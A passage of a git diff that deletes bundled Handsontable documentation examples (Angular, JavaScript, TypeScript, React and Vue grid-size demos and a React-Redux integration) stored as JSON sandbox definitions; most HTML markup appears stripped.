\"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [\n \"src/styles.css\"\n ],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\nconst UNIT_SIZES: Record = {\n px: { width: '600px', height: '300px' },\n '%': { width: '75%', height: '75%' },\n em: { width: '37.5em', height: '18.75em' },\n rem: { width: '37.5rem', height: '18.75rem' },\n vh: { width: '50vh', height: '50vh' },\n vw: { width: '50vw', height: '50vw' },\n};\n\nconst UNIT_CAPTIONS: Record = {\n px: 'A fixed pixel size, independent of any parent element or font size.',\n '%': \"A percentage of the parent container's size (the dashed box).\",\n em: \"A multiple of this element's own font size.\",\n rem: \"A multiple of the document's root font size.\",\n vh: \"A percentage of the browser viewport's height.\",\n vw: \"A percentage of the browser viewport's width.\",\n};\n\n@Component({\n selector: 'example2-grid-size',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n \n
    \n

    {{ unitCaption }}

    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly unitKeys = Object.keys(UNIT_SIZES);\n unitCaption = UNIT_CAPTIONS['px'];\n\n readonly data = [\n ['SKU-4821', 'Wireless Mouse', 'Electronics', 'Harbor Goods', 142],\n ['SKU-0093', 'Canvas Tote Bag', 'Apparel', 'Alpine Supply Co.', 67],\n ['SKU-2210', 'USB-C Hub', 'Electronics', 'Harbor Goods', 0],\n ['SKU-7734', 'Ceramic Mug Set', 'Home Goods', 'Nordic Traders', 58],\n ['SKU-1145', 'Wool Scarf', 'Apparel', 'Alpine Supply Co.', 213],\n ['SKU-3399', 'Bluetooth Speaker', 'Electronics', 'Harbor Goods', 84],\n ['SKU-5567', 'Cotton T-Shirt', 'Apparel', 'Alpine Supply Co.', 310],\n ['SKU-8842', 'Desk Lamp', 'Home Goods', 'Nordic Traders', 45],\n ['SKU-6621', 'Laptop Stand', 'Electronics', 'Harbor Goods', 29],\n ['SKU-4470', 'Throw Blanket', 'Home Goods', 'Nordic Traders', 76],\n ['SKU-9983', 'Leather Wallet', 'Apparel', 'Alpine Supply Co.', 132],\n ['SKU-2287', 'Wireless Charger', 'Electronics', 'Harbor Goods', 97],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Product', 'Category', 'Supplier', 'Quantity'],\n rowHeaders: true,\n width: UNIT_SIZES['px'].width,\n height: UNIT_SIZES['px'].height,\n };\n\n changeUnit(event: Event): void {\n const unit = UNIT_SIZES[(event.target as HTMLSelectElement).value];\n\n this.unitCaption = UNIT_CAPTIONS[(event.target as HTMLSelectElement).value];\n this.hotTable?.hotInstance?.updateSettings({ width: unit.width, height: unit.height });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};","/src/styles.css":"#exampleParent2 {\n width: 800px;\n max-width: 100%;\n height: 400px;\n box-sizing: border-box;\n border: 1px dashed var(--sl-color-gray-5, #d1d5db);\n}\n\n#exampleParent2 > hot-table {\n height: 100%;\n}\n\n.unit-caption {\n margin-top: 8px;\n color: var(--sl-color-text, #485164);\n}"},"docsPath":"guides/getting-started/grid-size/angular/example2.ts","breadcrumb":["Getting Started","Grid size"],"guide":"guides/getting-started/grid-size/grid-size.md","guideTitle":"Grid size","exampleId":"example2","exampleTitle":"Compare size units","docPermalink":"/grid-size","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.js.json deleted file mode 100644 index e6a4efdd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Grid size · Compare size units · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    \n
    \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst UNIT_SIZES = {\n px: { width: '600px', height: '300px' },\n '%': { width: '75%', height: '75%' },\n em: { width: '37.5em', height: '18.75em' },\n rem: { width: '37.5rem', height: '18.75rem' },\n vh: { width: '50vh', height: '50vh' },\n vw: { width: '50vw', height: '50vw' },\n};\nconst UNIT_CAPTIONS = {\n px: 'A fixed pixel size, independent of any parent element or font size.',\n '%': \"A percentage of the parent container's size (the dashed box).\",\n em: \"A multiple of this element's own font size.\",\n rem: \"A multiple of the document's root font size.\",\n vh: \"A percentage of the browser viewport's height.\",\n vw: \"A percentage of the browser viewport's width.\",\n};\nconst container = document.querySelector('#example2');\nconst unitSelect = document.querySelector('#unitSelect');\nconst unitCaption = document.querySelector('#unitCaption');\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Wireless Mouse', 'Electronics', 'Harbor Goods', 142],\n ['SKU-0093', 'Canvas Tote Bag', 'Apparel', 'Alpine Supply Co.', 67],\n ['SKU-2210', 'USB-C Hub', 'Electronics', 'Harbor Goods', 0],\n ['SKU-7734', 'Ceramic Mug Set', 'Home Goods', 'Nordic Traders', 58],\n ['SKU-1145', 'Wool Scarf', 'Apparel', 'Alpine Supply Co.', 213],\n ['SKU-3399', 'Bluetooth Speaker', 'Electronics', 'Harbor Goods', 84],\n ['SKU-5567', 'Cotton T-Shirt', 'Apparel', 'Alpine Supply Co.', 310],\n ['SKU-8842', 'Desk Lamp', 'Home Goods', 'Nordic Traders', 45],\n ['SKU-6621', 'Laptop Stand', 'Electronics', 'Harbor Goods', 29],\n ['SKU-4470', 'Throw Blanket', 'Home Goods', 'Nordic Traders', 76],\n ['SKU-9983', 'Leather Wallet', 'Apparel', 'Alpine Supply Co.', 132],\n ['SKU-2287', 'Wireless Charger', 'Electronics', 'Harbor Goods', 97],\n ],\n colHeaders: ['SKU', 'Product', 'Category', 'Supplier', 'Quantity'],\n rowHeaders: true,\n width: UNIT_SIZES['px'].width,\n height: UNIT_SIZES['px'].height,\n licenseKey: 'non-commercial-and-evaluation',\n});\nunitCaption.textContent = UNIT_CAPTIONS['px'];\nunitSelect.addEventListener('change', () => {\n const unit = UNIT_SIZES[unitSelect.value];\n hot.updateSettings({ width: unit.width, height: unit.height });\n unitCaption.textContent = UNIT_CAPTIONS[unitSelect.value];\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#exampleParent2 {\n width: 800px;\n max-width: 100%;\n height: 400px;\n box-sizing: border-box;\n border: 1px dashed var(--sl-color-gray-5, #d1d5db);\n}\n\n#example2 {\n height: 100%;\n}\n\n.unit-caption {\n margin-top: 8px;\n color: var(--sl-color-text, #485164);\n}"},"docsPath":"guides/getting-started/grid-size/javascript/example2.js","breadcrumb":["Getting Started","Grid size"],"guide":"guides/getting-started/grid-size/grid-size.md","guideTitle":"Grid size","exampleId":"example2","exampleTitle":"Compare size units","docPermalink":"/grid-size","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.ts.json deleted file mode 100644 index c84853f2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Grid size · Compare size units · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    \n
    \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst UNIT_SIZES: Record = {\n px: { width: '600px', height: '300px' },\n '%': { width: '75%', height: '75%' },\n em: { width: '37.5em', height: '18.75em' },\n rem: { width: '37.5rem', height: '18.75rem' },\n vh: { width: '50vh', height: '50vh' },\n vw: { width: '50vw', height: '50vw' },\n};\n\nconst UNIT_CAPTIONS: Record = {\n px: 'A fixed pixel size, independent of any parent element or font size.',\n '%': \"A percentage of the parent container's size (the dashed box).\",\n em: \"A multiple of this element's own font size.\",\n rem: \"A multiple of the document's root font size.\",\n vh: \"A percentage of the browser viewport's height.\",\n vw: \"A percentage of the browser viewport's width.\",\n};\n\nconst container = document.querySelector('#example2')!;\nconst unitSelect = document.querySelector('#unitSelect')!;\nconst unitCaption = document.querySelector('#unitCaption')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Wireless Mouse', 'Electronics', 'Harbor Goods', 142],\n ['SKU-0093', 'Canvas Tote Bag', 'Apparel', 'Alpine Supply Co.', 67],\n ['SKU-2210', 'USB-C Hub', 'Electronics', 'Harbor Goods', 0],\n ['SKU-7734', 'Ceramic Mug Set', 'Home Goods', 'Nordic Traders', 58],\n ['SKU-1145', 'Wool Scarf', 'Apparel', 'Alpine Supply Co.', 213],\n ['SKU-3399', 'Bluetooth Speaker', 'Electronics', 'Harbor Goods', 84],\n ['SKU-5567', 'Cotton T-Shirt', 'Apparel', 'Alpine Supply Co.', 310],\n ['SKU-8842', 'Desk Lamp', 'Home Goods', 'Nordic Traders', 45],\n ['SKU-6621', 'Laptop Stand', 'Electronics', 'Harbor Goods', 29],\n ['SKU-4470', 'Throw Blanket', 'Home Goods', 'Nordic Traders', 76],\n ['SKU-9983', 'Leather Wallet', 'Apparel', 'Alpine Supply Co.', 132],\n ['SKU-2287', 'Wireless Charger', 'Electronics', 'Harbor Goods', 97],\n ],\n colHeaders: ['SKU', 'Product', 'Category', 'Supplier', 'Quantity'],\n rowHeaders: true,\n width: UNIT_SIZES['px'].width,\n height: UNIT_SIZES['px'].height,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nunitCaption.textContent = UNIT_CAPTIONS['px'];\n\nunitSelect.addEventListener('change', () => {\n const unit = UNIT_SIZES[unitSelect.value];\n\n hot.updateSettings({ width: unit.width, height: unit.height });\n unitCaption.textContent = UNIT_CAPTIONS[unitSelect.value];\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#exampleParent2 {\n width: 800px;\n max-width: 100%;\n height: 400px;\n box-sizing: border-box;\n border: 1px dashed var(--sl-color-gray-5, #d1d5db);\n}\n\n#example2 {\n height: 100%;\n}\n\n.unit-caption {\n margin-top: 8px;\n color: var(--sl-color-text, #485164);\n}"},"docsPath":"guides/getting-started/grid-size/javascript/example2.ts","breadcrumb":["Getting Started","Grid size"],"guide":"guides/getting-started/grid-size/grid-size.md","guideTitle":"Grid size","exampleId":"example2","exampleTitle":"Compare size units","docPermalink":"/grid-size","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__react__example2.tsx.json deleted file mode 100644 index 8ddf30da..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Grid size · Compare size units · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst UNIT_SIZES: Record = {\n px: { width: '600px', height: '300px' },\n '%': { width: '75%', height: '75%' },\n em: { width: '37.5em', height: '18.75em' },\n rem: { width: '37.5rem', height: '18.75rem' },\n vh: { width: '50vh', height: '50vh' },\n vw: { width: '50vw', height: '50vw' },\n};\n\nconst UNIT_CAPTIONS: Record = {\n px: 'A fixed pixel size, independent of any parent element or font size.',\n '%': \"A percentage of the parent container's size (the dashed box).\",\n em: \"A multiple of this element's own font size.\",\n rem: \"A multiple of the document's root font size.\",\n vh: \"A percentage of the browser viewport's height.\",\n vw: \"A percentage of the browser viewport's width.\",\n};\n\nconst data = [\n ['SKU-4821', 'Wireless Mouse', 'Electronics', 'Harbor Goods', 142],\n ['SKU-0093', 'Canvas Tote Bag', 'Apparel', 'Alpine Supply Co.', 67],\n ['SKU-2210', 'USB-C Hub', 'Electronics', 'Harbor Goods', 0],\n ['SKU-7734', 'Ceramic Mug Set', 'Home Goods', 'Nordic Traders', 58],\n ['SKU-1145', 'Wool Scarf', 'Apparel', 'Alpine Supply Co.', 213],\n ['SKU-3399', 'Bluetooth Speaker', 'Electronics', 'Harbor Goods', 84],\n ['SKU-5567', 'Cotton T-Shirt', 'Apparel', 'Alpine Supply Co.', 310],\n ['SKU-8842', 'Desk Lamp', 'Home Goods', 'Nordic Traders', 45],\n ['SKU-6621', 'Laptop Stand', 'Electronics', 'Harbor Goods', 29],\n ['SKU-4470', 'Throw Blanket', 'Home Goods', 'Nordic Traders', 76],\n ['SKU-9983', 'Leather Wallet', 'Apparel', 'Alpine Supply Co.', 132],\n ['SKU-2287', 'Wireless Charger', 'Electronics', 'Harbor Goods', 97],\n];\n\nconst ExampleComponent = () => {\n const [unit, setUnit] = useState('px');\n const { width, height } = UNIT_SIZES[unit];\n\n return (\n <>\n
    \n
    \n \n \n
    \n

    {UNIT_CAPTIONS[unit]}

    \n
    \n
    \n \n
    \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#exampleParent2 {\n width: 800px;\n max-width: 100%;\n height: 400px;\n box-sizing: border-box;\n border: 1px dashed var(--sl-color-gray-5, #d1d5db);\n}\n\n#exampleParent2 > div {\n height: 100%;\n}\n\n.unit-caption {\n margin-top: 8px;\n color: var(--sl-color-text, #485164);\n}"},"docsPath":"guides/getting-started/grid-size/react/example2.tsx","breadcrumb":["Getting Started","Grid size"],"guide":"guides/getting-started/grid-size/grid-size.md","guideTitle":"Grid size","exampleId":"example2","exampleTitle":"Compare size units","docPermalink":"/grid-size","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__vue__example2.vue.json deleted file mode 100644 index 2d9d837b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Grid size · Compare size units · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/getting-started/grid-size/vue/example2.vue","breadcrumb":["Getting Started","Grid size"],"guide":"guides/getting-started/grid-size/grid-size.md","guideTitle":"Grid size","exampleId":"example2","exampleTitle":"Compare size units","docPermalink":"/grid-size","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example1.tsx.json deleted file mode 100644 index 15b8b46f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Integration with Redux · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"redux\": \"latest\",\n \"react-redux\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, MouseEvent, JSXElementConstructor, Key, ReactElement, ReactNode, ReactPortal } from 'react';\nimport { createStore } from 'redux';\nimport { Provider, useSelector, useDispatch } from 'react-redux';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponentContent = () => {\n const hotSettings = useSelector((state: RootState) => state);\n const dispatch = useDispatch();\n const hotTableComponentRef = useRef(null);\n\n const hotData = hotSettings.data;\n const isHotData = Array.isArray(hotData);\n\n const onBeforeHotChange = (changes: (Handsontable.CellChange | null)[]) => {\n dispatch({\n type: 'updateData',\n dataChanges: changes,\n });\n\n return false;\n };\n\n const toggleReadOnly = (event: MouseEvent) => {\n dispatch({\n type: 'updateReadOnly',\n readOnly: (event.target as HTMLInputElement).checked,\n });\n };\n\n return (\n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n\n \n
    \n

    Redux store dump

    \n 
    \n          {isHotData && (\n            
    \n              data:\n              \n                \n                  {hotData.map((row, i) => (\n                    \n                      {row.map(\n                        (\n                          cell:\n                            | string\n                            | number\n                            | boolean\n                            | ReactElement>\n                            | Iterable\n                            | ReactPortal\n                            | null\n                            | undefined,\n                          i: Key | null | undefined\n                        ) => (\n                          \n                        )\n                      )}\n                    \n                  ))}\n                \n              
    {cell}
    \n            
    \n          )}\n\n          \n            \n              {Object.entries(hotSettings).map(\n                ([name, value]) =>\n                  name !== 'data' && (\n                    \n                      \n                      \n                    \n                  )\n              )}\n            \n          
    \n                        {name}:\n                      {value.toString()}
    \n
    \n
    \n
    \n );\n};\n\nconst initialReduxStoreState = {\n data: [\n ['A1', 'B1', 'C1'],\n ['A2', 'B2', 'C2'],\n ['A3', 'B3', 'C3'],\n ['A4', 'B4', 'C4'],\n ['A5', 'B5', 'C5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n readOnly: false,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst updatesReducer = (\n state = initialReduxStoreState,\n action: { type: any; dataChanges: [any, any, any, any][]; readOnly: any }\n) => {\n switch (action.type) {\n case 'updateData':\n const newData = state.data.map((row) => [...row]);\n\n action.dataChanges.forEach(([row, column, oldValue, newValue]) => {\n newData[row][column] = newValue;\n });\n\n return {\n ...state,\n data: newData,\n };\n\n case 'updateReadOnly':\n return {\n ...state,\n readOnly: action.readOnly,\n };\n\n default:\n return state;\n }\n};\n\nexport type RootState = ReturnType;\n\nconst reduxStore = createStore(updatesReducer);\n\nconst ExampleComponent = () => (\n \n \n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/react-redux/react/example1.tsx","breadcrumb":["Getting Started","Integration with Redux"],"guide":"guides/getting-started/react-redux/react-redux.md","guideTitle":"Integration with Redux","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/redux","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example6.tsx.json deleted file mode 100644 index f4a7f73f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__react-redux__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Integration with Redux · Advanced example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"react-colorful\": \"latest\",\n \"react-redux\": \"latest\",\n \"redux\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, MouseEvent, KeyboardEvent, useRef, useState } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HexColorPicker } from 'react-colorful';\nimport { Provider, connect, useDispatch } from 'react-redux';\nimport { createStore, combineReducers } from 'redux';\nimport { HotTable, HotColumn, useHotEditor } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface StarRatingProps {\n name: string;\n value?: number;\n starCount?: number;\n starColor?: string;\n emptyStarColor?: string;\n}\n\nfunction StarRating({ name, value = 0, starCount = 5, starColor = '#ffb400', emptyStarColor = '#d3d3d3' }: StarRatingProps) {\n return (\n
    \n {Array.from({ length: starCount }, (_, i) => (\n \n ★\n \n ))}\n
